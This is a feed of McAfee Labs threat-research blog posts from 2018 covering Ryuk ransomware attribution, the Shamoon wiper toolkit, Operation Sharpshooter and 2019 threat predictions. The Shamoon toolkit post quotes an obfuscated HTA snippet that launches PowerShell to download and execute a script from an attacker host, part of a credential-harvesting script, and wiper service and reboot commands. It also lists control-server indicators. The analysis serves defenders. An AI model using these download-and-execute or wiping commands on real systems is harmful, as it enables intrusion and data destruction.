Ransomware is typically named by its cybercriminal developer, as opposed to the naming of state-sponsored malware, which is mostly is done by the security industry. It seems the criminals behind Ryuk are into manga.

The use of manga character names and references is common in the cybercriminal scene. We often come across manga-inspired nicknames and avatars in underground forums.

Technical indicators

Looking at research from our industry peers comparing Ryuk and Hermes, we notice that the functionalities are generally equal. We agree that the actors behind Ryuk have access to the Hermes source code.

Let’s dive a bit deeper into Ryuk and compare samples over the last couple of months regarding compilation times and the presence of program database (PDB) paths:

We can see the PDB paths are almost identical. When we compare samples from August and December 2018 and focus on the checksum values of the executables’ rich headers, they are also identical.

From a call-flow perspective, we notice the similarities and evolution of the code:

The Hermes 2.1 ransomware kit, renamed and redistributed as Ryuk.

The author and seller of Hermes 2.1 emphasizes that he is selling is a kit and not a service. This suggests that a buyer of the kit must do some fine tuning by setting up a distribution method (spam, exploit kit, or RDP, for example) and infrastructure to make Hermes work effectively. If changing a name and ransom note are part of these tuning options, then it is likely that Ryuk is an altered version Hermes 2.1.

Attribution: analyzing competing hypotheses

In the race to determine who is behind an attack, research facts (the What and How questions) are often put aside to focus on attribution (the Who question). Who did it? This pursuit is understandable yet fundamentally flawed. Attribution is crucial, but there will always be unanswered questions. Our approach focuses on answering the What and How questions by analyzing the malware, the infrastructure involved, and the incident response performed at the victim’s site.

Our approach is always to analyze competing hypotheses. When investigating an incident, we form several views and compare all the artifacts to support these hypotheses. We try not only to seek verifying evidence but also actively try to find evidence that falsifies a hypothesis. Keeping our eyes open for falsifying facts and constantly questioning our results are essential steps to avoid conformation bias. By following this method, we find the strongest hypothesis is not the one with the most verifying evidence, but the one with the least falsifying evidence.

Examining competing hypotheses is a scientific approach to investigating cyber incidents. It may not help with the race to attribution, but it ensures the output is based on available evidence.

The most likely hypothesis in the Ryuk case is that of a cybercrime operation developed from a tool kit offered by a Russian-speaking actor. From the evidence, we see sample similarities over the past several months that indicate a tool kit is being used. The actors have targeted several sectors and have asked a high ransom, 500 Bitcoin. Who is responsible? We do not know. But we do know how the malware works, how the attackers operate, and how to detect the threat. That analysis is essential because it allows us to serve our customers.

The post Ryuk Ransomware Attack: Rush to Attribution Misses the Point appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/feed/ 0
Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/#respond Wed, 19 Dec 2018 21:45:13 +0000 https://securingtomorrow.mcafee.com/?p=93278

Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used […]

The post Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems appeared first on McAfee Blogs.

]]>

Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used as a standalone threat.

After further analysis of the three versions of Shamoon and based on the evidence we describe here, we conclude that the Iranian hacker group APT33—or a group masquerading as APT33—is likely responsible for these attacks.

In the Shamoon attacks of 2016–2017, the adversaries used both the Shamoon Version 2 wiper and the wiper Stonedrill. In the 2018 attacks, we find the Shamoon Version 3 wiper as well as the wiper Filerase, first mentioned by Symantec.

These new wiper samples (Filerase) differ from the Shamoon Version 3, which we analyzed last week. The latest Shamoon appears to be part of a toolkit with several modules. We identified the following modules:

  • OCLC.exe: Used to read a list of targeted computers created by the attackers. This tool is responsible to run the second tool, spreader.exe, with the list of each targeted machine.
  • Spreader.exe: Used to spread the file eraser in each machine previously set. It also gets information about the OS version.
  • SpreaderPsexec.exe: Similar to spreader.exe but uses psexec.exe to remotely execute the wiper.
  • SlHost.exe: The new wiper, which browses the targeted system and deletes every file.

The attackers have essentially packaged an old version (V2) of Shamoon with an unsophisticated toolkit coded in .Net. This suggests that multiple developers have been involved in preparing the malware for this latest wave of attacks. In our last post, we observed that Shamoon is a modular wiper that can be used by other groups. With these recent attacks, this supposition seems to be confirmed. We have learned that the adversaries prepared months in advance for this attack, with the wiper execution as the goal.

This post provides additional insight about the attack and a detailed analysis of the .Net tool kit.

Geopolitical context

The motivation behind the attack is still unclear. Shamoon Version 1 attacked just two targets in the Middle East. Shamoon Version 2 attacked multiple targets in Saudi Arabia. Version 3 went after companies in the Middle East by using their suppliers in Europe, in a supply chain attack.

Inside the .Net wiper, we discovered the following ASCII art:

These characters resemble the Arabic text تَبَّتْ يَدَا أَبِي لَهَبٍ وَتَبَّ. This is a phrase from the Quran (Surah Masad, Ayat 1 [111:1]) that means “perish the hands of the Father of flame” or “the power of Abu Lahab will perish, and he will perish.” What does this mean in the context of a cyber campaign targeting energy industries in the Middle East?

Overview of the attack

 

How did the malware get onto the victim’s network?

We received intelligence that the adversaries had created websites closely resembling legitimate domains which carry job offerings. For example:

  • Hxxp://possibletarget.ddns.com:880/JobOffering.

Many of the URLs we discovered were related to the energy sector operating mostly in the Middle East. Some of these sites contained malicious HTML application files that execute other payloads. Other sites lured victims to login using their corporate credentials. This preliminary attack seems to have started by the end of August 2018, according to our telemetry, to gather these credentials.

A code example from one malicious HTML application file:

YjDrMeQhBOsJZ = “WS”

wcpRKUHoZNcZpzPzhnJw = “crip”

RulsTzxTrzYD = “t.Sh”

MPETWYrrRvxsCx = “ell”

PCaETQQJwQXVJ = (YjDrMeQhBOsJZ + wcpRKUHoZNcZpzPzhnJw + RulsTzxTrzYD + MPETWYrrRvxsCx)

OoOVRmsXUQhNqZJTPOlkymqzsA=new ActiveXObject(PCaETQQJwQXVJ)

ULRXZmHsCORQNoLHPxW = “cm”

zhKokjoiBdFhTLiGUQD = “d.e”

KoORGlpnUicmMHtWdpkRwmXeQN = “xe”

KoORGlpnUicmMHtWdp = “.”

KoORGlicmMHtWdp = “(‘http://mynetwork.ddns.net:880/*****.ps1’)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -w 1 IEX (New-Object Net.WebClient)’+KoORGlpnUicmMHtWdp+’downloadstring’+KoORGlicmMHtWdp)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -window hidden -enc

The preceding script opens a command shell on the victim’s machine and downloads a PowerShell script from an external location. From another location, it loads a second file to execute.

We discovered one of the PowerShell scripts. Part of the code shows they were harvesting usernames, passwords, and domains:

function primer {

if ($env:username -eq “$($env:computername)$”){$u=”NT AUTHORITY\SYSTEM”}else{$u=$env:username}

$o=”$env:userdomain\$u

$env:computername

$env:PROCESSOR_ARCHITECTURE

With legitimate credentials to a network it is easy to login and spread the wipers.

.Net tool kit

The new wave of Shamoon is accompanied by a .Net tool kit that spreads Shamoon Version 3 and the wiper Filerase.

This first component (OCLC.exe) reads two text files stored in two local directories. Directories “shutter” and “light” contain a list of targeted machines.

OCLC.exe starts a new hidden command window process to run the second component, spreader.exe, which spreads the Shamoon variant and Filerase with the concatenated text file as parameter.

The spreader component takes as a parameter the text file that contains the list of targeted machines and the Windows version. It first checks the Windows version of the targeted computers.

The spreader places the executable files (Shamoon and Filerase) into the folder Net2.

It creates a folder on remote computers: C:\\Windows\System32\Program Files\Internet Explorer\Signing.

The spreader copies the executables into that directory.

It runs the executables on the remote machine by creating a batch file in the administrative share \\RemoteMachine\admin$\\process.bat. This file contains the path of the executables. The spreader then sets up the privileges to run the batch file.

If anything fails, the malware creates the text file NotFound.txt, which contains the name of the machine and the OS version. This can be used by the attackers to track any issues in the spreading process.

The following screenshot shows the “execute” function:

If the executable files are not present in the folder Net2, it checks the folders “all” and Net4.

To spread the wipers, the attackers included an additional spreader using Psexec.exe, an administration tool used to remotely execute commands.

The only difference is that this spreader uses psexec, which is supposed to be stored in Net2 on the spreading machine. It could be used on additional machines to move the malware further.

The wiper contains three options:

  • SilentMode: Runs the wiper without any output.
  • BypassAcl: Escalates privileges. It is always enabled.
  • PrintStackTrace: Tracks the number of folders and files erased.

The BypassAcl option is always “true” even if the option is not specified. It enables the following privileges:

  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeTakeOwnershipPrivilege
  • SeSecurityPrivilege

To find a file to erase, the malware uses function GetFullPath to get all paths.

It erases each folder and file.

The malware browses every file in every folder on the system.

To erase all files and folders, it first removes the “read only’ attributes to overwrite them.

It changes the creation, write, and access date and time to 01/01/3000 at 12:01:01 for each file.

The malware rewrites each file two times with random strings.

It starts to delete the files using the API CreateFile with the ACCESS_MASK DELETE flag.

Then it uses FILE_DISPOSITION_INFORMATION to delete the files.

The function ProcessTracker has been coded to track the destruction.

Conclusion

In the 2017 wave of Shamoon attacks, we saw two wipers; we see a similar feature in the December 2018 attacks. Using the “tool kit” approach, the attackers can spread the wiper module through the victims’ networks. The wiper is not obfuscated and is written in .Net code, unlike the Shamoon Version 3 code, which is encrypted to mask its hidden features.

Attributing this attack is difficult because we do not have all the pieces of the puzzle. We do see that this attack is in line with the Shamoon Version 2 techniques. Political statements have been a part of every Shamoon attack. In Version 1, the image of a burning American flag was used to overwrite the files. In Version 2, the picture of a drowned Syrian boy was used, with a hint of Yemeni Arabic, referring to the conflicts in Syria and Yemen. Now we see a verse from the Quran, which might indicate that the adversary is related to another Middle Eastern conflict and wants to make a statement.

When we look at the tools, techniques, and procedures used during the multiple waves, and by matching the domains and tools used (as FireEye described in its report), we conclude that APT33 or a group attempting to appear to be APT33 is behind these attacks.

 

Coverage

The files we detected during this incident are covered by the following signatures:

  • Trojan-Wiper
  • RDN/Generic.dx
  • RDN/Ransom

Indicators of compromise

Hashes

  • OCLC.exe: d9e52663715902e9ec51a7dd2fea5241c9714976e9541c02df66d1a42a3a7d2a
  • Spreader.exe: 35ceb84403efa728950d2cc8acb571c61d3a90decaf8b1f2979eaf13811c146b
  • SpreaderPsexec.exe: 2ABC567B505D0678954603DCB13C438B8F44092CFE3F15713148CA459D41C63F
  • Slhost.exe: 5203628a89e0a7d9f27757b347118250f5aa6d0685d156e375b6945c8c05eb8a

File paths and filenames

  • C:\net2\
  • C:\all\
  • C:\net4\
  • C:\windows\system32\
  • C:\\Windows\System32\Program Files\Internet Explorer\Signing
  • \\admin$\process.bat
  • NothingFound.txt
  • MaintenaceSrv32.exe
  • MaintenaceSrv64.exe
  • SlHost.exe
  • OCLC.exe
  • Spreader.exe
  • SpreaderPsexec.exe

Some command lines

  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat
  • cmd.exe /c “ping -n 30 127.0.0.1 >nul && sc config MaintenaceSrv binpath= C:\windows\system32\MaintenaceSrv64.exe LocalService” && ping -n 10 127.0.0.1 >nul && sc start MaintenaceSrv
  • MaintenaceSrv32.exe LocalService
  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat ” “
  • MaintenaceSrv32.exe service

 

 

 

 

 

The post Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/feed/ 0
McAfee Labs Threats Report Examines Cybercriminal Underground, IoT Malware, Other Threats https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-examines-cybercriminal-underground-iot-malware-other-threats/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-examines-cybercriminal-underground-iot-malware-other-threats/#respond Wed, 19 Dec 2018 05:01:10 +0000 https://securingtomorrow.mcafee.com/?p=93260

The McAfee Advanced Threat Research team today published the McAfee® Labs Threats Report, December 2018. In this edition, we highlight the notable investigative research and trends in threats statistics and observations gathered by the McAfee Advanced Threat Research and McAfee Labs teams in Q3 of 2018. We are very excited to present to you new […]

The post McAfee Labs Threats Report Examines Cybercriminal Underground, IoT Malware, Other Threats appeared first on McAfee Blogs.

]]>

The McAfee Advanced Threat Research team today published the McAfee® Labs Threats Report, December 2018. In this edition, we highlight the notable investigative research and trends in threats statistics and observations gathered by the McAfee Advanced Threat Research and McAfee Labs teams in Q3 of 2018.

We are very excited to present to you new insights and a new format in this report. We are dedicated to listening to our customers to determine what you find important and how we can add value. In recent months we have gathered more threat intelligence, correlating and analyzing data to provide more useful insights into what is happening in the evolving threat landscape. McAfee is collaborating closely with MITRE Corporation in extending the techniques of its MITRE ATT&CK™ knowledge base, and we now include the model in our report. We are always working to refine our process and reports. You can expect more from us, and we welcome your feedback.

As we dissect the threat landscape for Q3, some noticeable statistics jump out of the report.  In particular, the continued rise in cryptojacking, which has made an unexpected emergence over the course of a year. In Q3 the growth of coin miner malware returned to unprecedented levels after a temporary slowdown in Q2.

Our analysis of recent threats included one notable introduction in a disturbing category. In Q3 we saw two new exploit kits: Fallout and Underminer. Fallout almost certainly had a bearing on the spread of GandCrab, the leading ransomware. Five years ago we published the report “Cybercrime Exposed,” which detailed the rise of cybercrime as a service. Exploit kits are the epitome of this economy, affording anyone the opportunity to easily and cheaply enter the digital crime business.

New malware samples jumped up again in Q3 after a decline during the last two quarters. Although the upward trend applies to almost every category, we did measure a decline in new mobile malware samples following three quarters of continual growth.

This post is only a small snapshot of the comprehensive analysis provided in the December Threats Report. We hope you enjoy the new format, and we welcome your feedback.

The post McAfee Labs Threats Report Examines Cybercriminal Underground, IoT Malware, Other Threats appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-examines-cybercriminal-underground-iot-malware-other-threats/feed/ 0
Shamoon Returns to Wipe Systems in Middle East, Europe https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/#respond Fri, 14 Dec 2018 20:32:41 +0000 https://securingtomorrow.mcafee.com/?p=93157

Destructive malware has been employed by adversaries for years. Usually such attacks are carefully targeted and can be motivated by ideology, politics, or even financial aims. Destructive attacks have a critical impact on businesses, causing the loss of data or crippling business operations. When a company is impacted, the damage can be significant. Restoration can […]

The post Shamoon Returns to Wipe Systems in Middle East, Europe appeared first on McAfee Blogs.

]]>

Destructive malware has been employed by adversaries for years. Usually such attacks are carefully targeted and can be motivated by ideology, politics, or even financial aims.

Destructive attacks have a critical impact on businesses, causing the loss of data or crippling business operations. When a company is impacted, the damage can be significant. Restoration can take weeks or months, while resulting in unprofitability and diminished reputation.

Recent attacks have demonstrated how big the damage can be. Last year NotPetya affected several companies around the world. Last February, researchers uncovered OlympicDestroyer, which affected the Olympic Games organization.

Shamoon is destructive malware that McAfee has been monitoring since its appearance. The most recent wave struck early this month when the McAfee Foundstone Emergency Incident Response team reacted to a customer’s breach and identified the latest variant. Shamoon hit oil and gas companies in the Middle East in 2012 and resurfaced in 2016 targeting the same industry. This threat is critical for businesses; we recommend taking appropriate actions to defend your organizations.

During the past week, we have observed a new variant attacking several sectors, including oil, gas, energy, telecom, and government organizations in the Middle East and southern Europe.

Similar to the previous wave, Shamoon Version 3 uses several mechanisms as evasion techniques to bypass security as well to circumvent analysis and achieve its ends. However, its overall behavior remains the same as in previous versions, rendering detection straightforward for most antimalware engines.

As in previous variants, Shamoon Version 3 installs a malicious service that runs the wiper component. Once the wiper is running, it overwrites all files with random rubbish and triggers a reboot, resulting in a “blue screen of death” or a driver error and making the system inoperable. The variant can also enumerate the local network, but in this case does nothing with that information. This variant has some bugs, suggesting the possibility that this version is a beta or test phase.

The main differences from earlier versions are the name list used to drop the malicious file and the fabricated service name MaintenaceSrv (with “maintenance” misspelled). The wiping component has also been designed to target all files on the system with these options:

  • Overwrite file with garbage data (used in this version and the samples we analyzed)
  • Overwrite with a file (used in Shamoon Versions 1 and 2)
  • Encrypt the files and master boot record (not used in this version)

Shamoon is modular malware: The wiper component can be reused as a standalone file and weaponized in other attacks, making this threat a high risk. The post presents our findings, including a detailed analysis and indicators of compromise.

Analysis

Shamoon is a dropper that carries three resources. The dropper is responsible for collecting data as well as embedding evasion techniques such as obfuscation, antidebugging, or antiforensic tricks. The dropper requires an argument to run.

It decrypts the three resources and installs them on the system in the %System% folder. It also creates the service MaintenaceSrv, which runs the wiper. The typo in the service name eases detection.

The Advanced Threat Research team has watched this service evolve over the years. The following tables highlight the differences:


The wiper uses ElRawDisk.sys to access the user’s raw disk and overwrites all data in all folders and disk sectors, causing a critical state of the infected machine before it finally reboots.

The result is either a blue screen or driver error that renders the machine unusable.

Overview

Dropper

Executable summary

The dropper contains other malicious components masked as encrypted files embedded in PE section.

These resources are decrypted by the dropper and contain:

  • MNU: The communication module
  • LNG: The wiper component
  • PIC: The 64-bit version of the dropper

Shamoon 2018 needs an argument to run and infect machines. It decrypts several strings in memory that gather information on the system and determine whether to drop the 32-bit or 64-bit version.

It also drops the file key8854321.pub (MD5: 41f8cd9ac3fb6b1771177e5770537518) in the folder c:\Windows\Temp\key8854321.pub.

The malware decrypts two files used later:

  • C:\Windows\inf\mdmnis5tQ1.pnf
  • C:\Windows\inf\averbh_noav.pnf

Shamoon enables the service RemoteRegistry, which allows a program to remotely modify the registry. It also disables remote user account control by enabling the registry key LocalAccountTokenFilterPolicy.

The malware checks whether the following shares exist to copy itself and spread:

  • ADMIN$
  • C$\WINDOWS
  • D$\WINDOWS
  • E$\WINDOWS

Shamoon queries the service to retrieve specific information related to the LocalService account.

It then retrieves the resources within the PE file to drop the components. Finding the location of the resource:

Shamoon creates the file and sets the time to August 2012 as an antiforensic trick. It puts this date on any file it can destroy.

The modification time can be used as an antiforensic trick to bypass detection based on the timeline, for example. We also observed that in some cases the date is briefly modified on the system, faking the date of each file. The files dropped on the system are stored in C:\\Windows\System32\.

Before creating the malicious service, Shamoon elevates its privilege by impersonating the token. It first uses LogonUser and ImpersonateLoggedOnUser, then ImpersonateNamedPipeClient. Metasploit uses a similar technique to elevate privileges.

Elevating privileges is critical for malware to perform additional system modifications, which are usually restricted.

Shamoon creates the new malicious service MaintenaceSrv. It creates the service with the option Autostart (StartType: 2) and runs the service with its own process (ServiceType: 0x10):

If the service is already created, it changes the configuration parameter of the service with the previous configuration.

It finally finishes creating MaintenaceSrv:

The wiper dropped on the system can have any one of the following names:

 

 

Next the wiper runs to destroy the data.

Wiper

The wiper component is dropped into the System32 folder. It takes one parameter to run. The wiper driver is embedded in its resources.

We can see the encrypted resources, 101, in this screenshot:

The resource decrypted is the driver ElRawDisk.sys, which wipes the disk.

Extracting the resource:

This preceding file is not malicious but is considered risky because it is the original driver.

The wiper creates a service to run the driver with the following command:

sc create hdv_725x type= kernel start= demand binpath= WINDOWS\hdv_725x.sys 2>&1 >nul

 

The following screenshot shows the execution of this command:

 

The malware overwrites every file in c:\Windows\System32, placing the machine in a critical state. All the files on the system are overwritten.

The overwriting process:

Finally, it forces the reboot with the following command:

Shutdown -r -f -t 2

 

Once the system is rebooted it shows a blue screen:

Worm

The worm component is extracted from the resources from the dropper. Destructive malware usually uses spreading techniques to infect machines as quickly as possible.

The worm component can take the following names:

We noticed the capability to scan for the local network and connect to a potential control server:

Although the worm component can spread the dropper and connect to a remote server, the component was not used in this version.

Conclusion

Aside from the major destruction this malware can cause, the wiper component can be used independently from the dropper. The wiper does not have to rely on the main stub process. The 2018 Shamoon variant’s functionality indicates modular development. This enables the wiper to be used by malware droppers other than Shamoon.

Shamoon is showing signs of evolution; however, these advancements did not escape detection by McAfee DATs. We expect to see additional attacks in the Middle East (and beyond) by these adversaries. We will continue to monitor our telemetry and will update this analysis as we learn more.

MITRE ATT&CK™ matrix

Indicators of compromise

df177772518a8fcedbbc805ceed8daecc0f42fed                    Original dropper x86
ceb7876c01c75673699c74ff7fac64a5ca0e67a1                    Wiper
10411f07640edcaa6104f078af09e2543aa0ca07                   Worm module
43ed9c1309d8bb14bd62b016a5c34a2adbe45943               key8854321.pub
bf3e0bc893859563811e9a481fde84fe7ecd0684                  RawDisk driver

 

McAfee detection

  • Trojan-Wiper!DE07C4AC94A5
  • RDN/Generic.dx
  • Trojan-Wiper

The post Shamoon Returns to Wipe Systems in Middle East, Europe appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/feed/ 0
‘Operation Sharpshooter’ Targets Global Defense, Critical Infrastructure https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/#respond Wed, 12 Dec 2018 11:01:09 +0000 https://securingtomorrow.mcafee.com/?p=93008

This post was written with contributions from the McAfee Advanced Threat Research team.   The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download […]

The post ‘Operation Sharpshooter’ Targets Global Defense, Critical Infrastructure appeared first on McAfee Blogs.

]]>

This post was written with contributions from the McAfee Advanced Threat Research team.  

The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant—which we call Rising Sun—for further exploitation. According to our analysis, the Rising Sun implant uses source code from the Lazarus Group’s 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries.

Operation Sharpshooter’s numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags. Our research focuses on how this actor operates, the global impact, and how to detect the attack. We shall leave attribution to the broader security community.

Read our full analysis of Operation Sharpshooter.

Have we seen this before?

This campaign, while masquerading as legitimate industry job recruitment activity, gathers information to monitor for potential exploitation. Our analysis also indicates similar techniques associated with other job recruitment campaigns.

Global impact

In October and November 2018, the Rising Sun implant has appeared in 87 organizations across the globe, predominantly in the United States, based on McAfee telemetry and our analysis. Based on other campaigns with similar behavior, most of the targeted organizations are English speaking or have an English-speaking regional office. This actor has used recruiting as a lure to collect information about targeted individuals of interest or organizations that manage data related to the industries of interest. The McAfee Advanced Threat Research team has observed that the majority of targets were defense and government-related organizations.

Targeted organizations by sector in October 2018. Colors indicate the most prominently affected sector in each country. Source: McAfee® Global Threat Intelligence.

Infection flow of the Rising Sun implant, which eventually sends data to the attacker’s control servers.

 

Conclusion

Our discovery of this new, high-function implant is another example of how targeted attacks attempt to gain intelligence. The malware moves in several steps. The initial attack vector is a document that contains a weaponized macro to download the next stage, which runs in memory and gathers intelligence. The victim’s data is sent to a control server for monitoring by the actors, who then determine the next steps.

We have not previously observed this implant. Based on our telemetry, we discovered that multiple victims from different industry sectors around the world have reported these indicators.

Was this attack just a first-stage reconnaissance operation, or will there be more? We will continue to monitor this campaign and will report further when we or others in the security industry receive more information. The McAfee Advanced Threat Research team encourages our peers to share their insights and attribution of who is responsible for Operation Sharpshooter.

 

Indicators of compromise

MITRE ATT&CK™ techniques

  • Account discovery
  • File and directory discovery
  • Process discovery
  • System network configuration discovery
  • System information discovery
  • System network connections discovery
  • System time discovery
  • Automated exfiltration
  • Data encrypted
  • Exfiltration over command and control channel
  • Commonly used port
  • Process injection

Hashes

  • 8106a30bd35526bded384627d8eebce15da35d17
  • 66776c50bcc79bbcecdbe99960e6ee39c8a31181
  • 668b0df94c6d12ae86711ce24ce79dbe0ee2d463
  • 9b0f22e129c73ce4c21be4122182f6dcbc351c95
  • 31e79093d452426247a56ca0eff860b0ecc86009

Control servers

  • 34.214.99.20/view_style.php
  • 137.74.41.56/board.php
  • kingkoil.com.sg/board.php

Document URLs

  • hxxp://208.117.44.112/document/Strategic Planning Manager.doc
  • hxxp://208.117.44.112/document/Business Intelligence Administrator.doc
  • hxxp://www.dropbox.com/s/2shp23ogs113hnd/Customer Service Representative.doc?dl=1

McAfee detection

  • RDN/Generic Downloader.x
  • Rising-Sun
  • Rising-Sun-DOC

 

The post ‘Operation Sharpshooter’ Targets Global Defense, Critical Infrastructure appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/feed/ 0
McAfee Labs 2019 Threats Predictions Report https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-2019-threats-predictions/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-2019-threats-predictions/#respond Thu, 29 Nov 2018 09:00:11 +0000 https://securingtomorrow.mcafee.com/?p=92746

Our predictions for 2019 move away from simply providing an assessment on the rise or fall of a particular threat, and instead focus on current rumblings we see in the cybercriminal underground that we expect to grow into trends and subsequently threats in the wild.

The post McAfee Labs 2019 Threats Predictions Report appeared first on McAfee Blogs.

]]>

These predictions were written by Eoin Carroll, Taylor Dunton, John Fokker, German Lancioni, Lee Munson, Yukihiro Okutomi, Thomas Roccia, Raj Samani, Sekhar Sarukkai, Dan Sommer, and Carl Woodward.

As 2018 draws to a close, we should perhaps be grateful that the year has not been entirely dominated by ransomware, although the rise of the GandCrab and SamSam variants show that the threat remains active. Our predictions for 2019 move away from simply providing an assessment on the rise or fall of a particular threat, and instead focus on current rumblings we see in the cybercriminal underground that we expect to grow into trends and subsequently threats in the wild.

We have witnessed greater collaboration among cybercriminals exploiting the underground market, which has allowed them to develop efficiencies in their products. Cybercriminals have been partnering in this way for years; in 2019 this market economy will only expand. The game of cat and mouse the security industry plays with ransomware developers will escalate, and the industry will need to respond more quickly and effectively than ever before.

Social media has been a part of our lives for more than a decade. Recently, nation-states have infamously used social media platforms to spread misinformation. In 2019, we expect criminals to begin leveraging those tactics for their own gain. Equally, the continued growth of the Internet of Things in the home will inspire criminals to target those devices for monetary gain.

One thing is certain: Our dependency on technology has become ubiquitous. Consider the breaches of identity platforms, with reports of 50 million users being affected. It is no longer the case that a breach is limited to that platform. Everything is connected, and you are only as strong as your weakest link. In the future, we face the question of which of our weakest links will be compromised.

—Raj Samani, Chief Scientist and McAfee Fellow, Advanced Threat Research

Twitter @Raj_Samani

 

Predictions

Cybercriminal Underground to Consolidate, Create More Partnerships to Boost Threats

Artificial Intelligence the Future of Evasion Techniques

Synergistic Threats Will Multiply, Requiring Combined Responses

Misinformation, Extortion Attempts to Challenge Organizations’ Brands

Data Exfiltration Attacks to Target the Cloud

Voice-Controlled Digital Assistants the Next Vector in Attacking IoT Devices

Cybercriminals to Increase Attacks on Identity Platforms and Edge Devices Under Siege

Cybercriminal Underground to Consolidate, Create More Partnerships to Boost Threats

Hidden hacker forums and chat groups serve as a market for cybercriminals, who can buy malware, exploits, botnets, and other shady services. With these off-the-shelf products, criminals of varying experience and sophistication can easily launch attacks. In 2019, we predict the underground will consolidate, creating fewer but stronger malware-as-a-service families that will actively work together. These increasingly powerful brands will drive more sophisticated cryptocurrency mining, rapid exploitation of new vulnerabilities, and increases in mobile malware and stolen credit cards and credentials.

We expect more affiliates to join the biggest families, due to the ease of operation and strategic alliances with other essential top-level services, including exploit kits, crypter services, Bitcoin mixers, and counter-antimalware services. Two years ago, we saw many of the largest ransomware families, for example, employ affiliate structures. We still see numerous types of ransomware pop up, but only a few survive because most cannot attract enough business to compete with the strong brands, which offer higher infection rates as well as operational and financial security. At the moment the largest families actively advertise their goods; business is flourishing because they are strong brands (see GandCrab) allied with other top-level services, such as money laundering or making malware undetectable.

Underground businesses function successfully because they are part of a trust-based system. This may not be a case of “honor among thieves,” yet criminals appear to feel safe, trusting they cannot be touched in the inner circle of their forums. We have seen this trust in the past, for example, with the popular credit card shops in the first decade of the century, which were a leading source of cybercrime until major police action broke the trust model.

As endpoint detection grows stronger, the vulnerable remote desktop protocol (RDP) offers another path for cybercriminals. In 2019 we predict malware, specifically ransomware, will increasingly use RDP as an entry point for an infection. Currently, most underground shops advertise RDP access for purposes other than ransomware, typically using it as a stepping stone to gain access to Amazon accounts or as a proxy to steal credit cards. Targeted ransomware groups and ransomware-as-a-service (RaaS) models will take advantage of RDP, and we have seen highly successful under-the-radar schemes use this tactic. Attackers find a system with weak RDP, attack it with ransomware, and propagate through networks either living off the land or using worm functionality (EternalBlue). There is evidence that the author of GandCrab is already working on an RDP option.

We also expect malware related to cryptocurrency mining will become more sophisticated, selecting which currency to mine on a victim’s machine based on the processing hardware (WebCobra) and the value of a specific currency at a given time.

Next year, we predict the length of a vulnerability’s life, from detection to weaponization, will grow even shorter. We have noticed a trend of cybercriminals becoming more agile in their development process. They gather data on flaws from online forums and the Common Vulnerabilities and Exposures database to add to their malware. We predict that criminals will sometimes take a day or only hours to implement attacks against the latest weaknesses in software and hardware.

We expect to see an increase in underground discussions on mobile malware, mostly focused on Android, regarding botnets, banking fraud, ransomware, and bypassing two-factor authentication security. The value of exploiting the mobile platform is currently underestimated as phones offer a lot to cybercriminals given the amount of access they have to sensitive information such as bank accounts.

Credit card fraud and the demand for stolen credit card details will continue, with an increased focus on online skimming operations that target third-party payment platforms on large e-commerce sites. From these sites, criminals can silently steal thousands of fresh credit cards details at a time. Furthermore, social media is being used to recruit unwitting users, who might not know they are working for criminals when they reship goods or provide financial services.

We predict an increase in the market for stolen credentials—fueled by recent large data breaches and by bad password habits of users. The breaches lead, for example, to the sale of voter records and email-account hacking. These attacks occur daily.

